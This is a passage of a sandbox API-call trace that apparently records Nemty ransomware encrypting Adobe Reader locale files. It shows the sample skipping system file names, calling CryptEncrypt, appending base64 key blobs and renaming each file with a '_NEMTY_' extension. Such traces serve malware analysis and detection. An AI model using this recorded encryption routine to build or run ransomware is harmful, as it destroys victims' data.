pszString="Cg9kjpMMbYhFkHlIMQkWAjYwOWeS3g34A0atH3ctrssdq40kvXoqkYc9eES3G2U+\r\nOzbGTV+ywZDi52yEI7GkPzs24u9+sILbyOT2U5ZxmzX8x/4asbEmTXqIlrlEiOAQ\r\nqthLfOwXBdNdWlSN3qq/iV+LEymjbppHQ/QD571k9AFSj/9hw8UpdwjXybY9vqqK\r\nsIk4ZeZ0athX7Xwev/n2K4RXrA3DBPLlZjYZzlzyUfLOiCb1PeecSRToWz396nLN\r\npcNheJtMue+E1DpOnU2xiWSLPf81xqOqNdqKEvWVrNJcAK5G+vWg2GdcfewpVXSZ\r\n11ilFv118DdB3jwPAx/ffQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\reflow.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.747] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0176.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0176.747] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.747] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0176.748] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.748] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0176.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.749] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0176.749] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.749] CloseHandle (hObject=0x2e8) returned 1 [0176.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0176.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.749] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\reflow.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\reflow.suo._nemty_kgobjgd_")) returned 1 [0176.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0176.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.750] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.SUO", cAlternateFileName="SAVEAS~1.SUO")) returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2=".") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="..") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="...") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="windows") returned -1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="rsa") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="NTDETECT.COM") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="ntldr") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="MSDOS.SYS") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="IO.SYS") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="boot.ini") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="boot.ini") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="ntuser.dat") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="desktop.ini") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="CONFIG.SYS") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="RECYCLER") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="bootmgr") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="programdata") returned 1 [0176.750] lstrcmpiW (lpString1="SaveAsRTF.SUO", lpString2="appdata") returned 1 [0176.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SUO", lpUsedDefaultChar=0x0) returned 13 [0176.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SUO", lpUsedDefaultChar=0x0) returned 13 [0176.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SUO", lpUsedDefaultChar=0x0) returned 13 [0176.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SUO", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SUO", lpUsedDefaultChar=0x0) returned 13 [0176.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.751] Sleep (dwMilliseconds=0x5) [0176.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d0140d0, dwHighDateTime=0x1d561e8)) [0176.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d0140d0, dwHighDateTime=0x1d561e8)) [0176.767] GetLastError () returned 0x0 [0176.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.767] GetLastError () returned 0x0 [0176.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.767] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.767] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.768] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.768] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="gHh6CTMXRnnRAysjp1yPoiL2NOHA7qLx65w+rguKPoaQYfvUAt/Xu3BilgFmN3tF\r\nJ2ibOaGYkSlLG23q8qeG+IlwAjlw+XvVXs9xNVhQ3v+ZDSWb+/b560Vd+KqKYk3w\r\nK/KCnhVdzbe2yzjQu6IxNbSz5PRTy+Cx4iTsLGTYmgLhzIzZYfu5rdgRrhHfvB/b\r\nkW9Sk1cz2BuHqPp08jiBhEC1oQMoOHbeM1wESudTf/idNMOIn4rU2WaMOhsBpZ5G\r\nuu4vpVwHbadPCI3gTe2EnRtenr/uvdK7IxZepqJKoJsR9g5R/ZW6mauBBMXEZ+f4\r\nsfvsRlsKAvXG7RJ1d+69iA==\r\n", pcchString=0x653e5dc) returned 1 [0176.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.768] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\saveasrtf.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.768] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18432) returned 1 [0176.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4800) returned 0x6352c48 [0176.768] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.768] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4800, lpOverlapped=0x0) returned 1 [0176.771] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.771] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4800, lpOverlapped=0x0) returned 1 [0176.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.771] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4800 [0176.771] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.771] CloseHandle (hObject=0x2e8) returned 1 [0176.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.771] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\saveasrtf.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SaveAsRTF.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\saveasrtf.suo._nemty_kgobjgd_")) returned 1 [0176.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.774] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.SUO", cAlternateFileName="")) returned 1 [0176.774] lstrcmpiW (lpString1="Search.SUO", lpString2=".") returned 1 [0176.774] lstrcmpiW (lpString1="Search.SUO", lpString2="..") returned 1 [0176.774] lstrcmpiW (lpString1="Search.SUO", lpString2="...") returned 1 [0176.774] lstrcmpiW (lpString1="Search.SUO", lpString2="windows") returned -1 [0176.774] lstrcmpiW (lpString1="Search.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.774] lstrcmpiW (lpString1="Search.SUO", lpString2="rsa") returned 1 [0176.774] lstrcmpiW (lpString1="Search.SUO", lpString2="NTDETECT.COM") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="ntldr") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="MSDOS.SYS") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="IO.SYS") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="boot.ini") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="boot.ini") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="ntuser.dat") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="desktop.ini") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="CONFIG.SYS") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="RECYCLER") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="bootmgr") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="programdata") returned 1 [0176.775] lstrcmpiW (lpString1="Search.SUO", lpString2="appdata") returned 1 [0176.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SUO", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.776] Sleep (dwMilliseconds=0x5) [0176.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d03a230, dwHighDateTime=0x1d561e8)) [0176.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d03a230, dwHighDateTime=0x1d561e8)) [0176.777] GetLastError () returned 0x0 [0176.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.777] GetLastError () returned 0x0 [0176.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 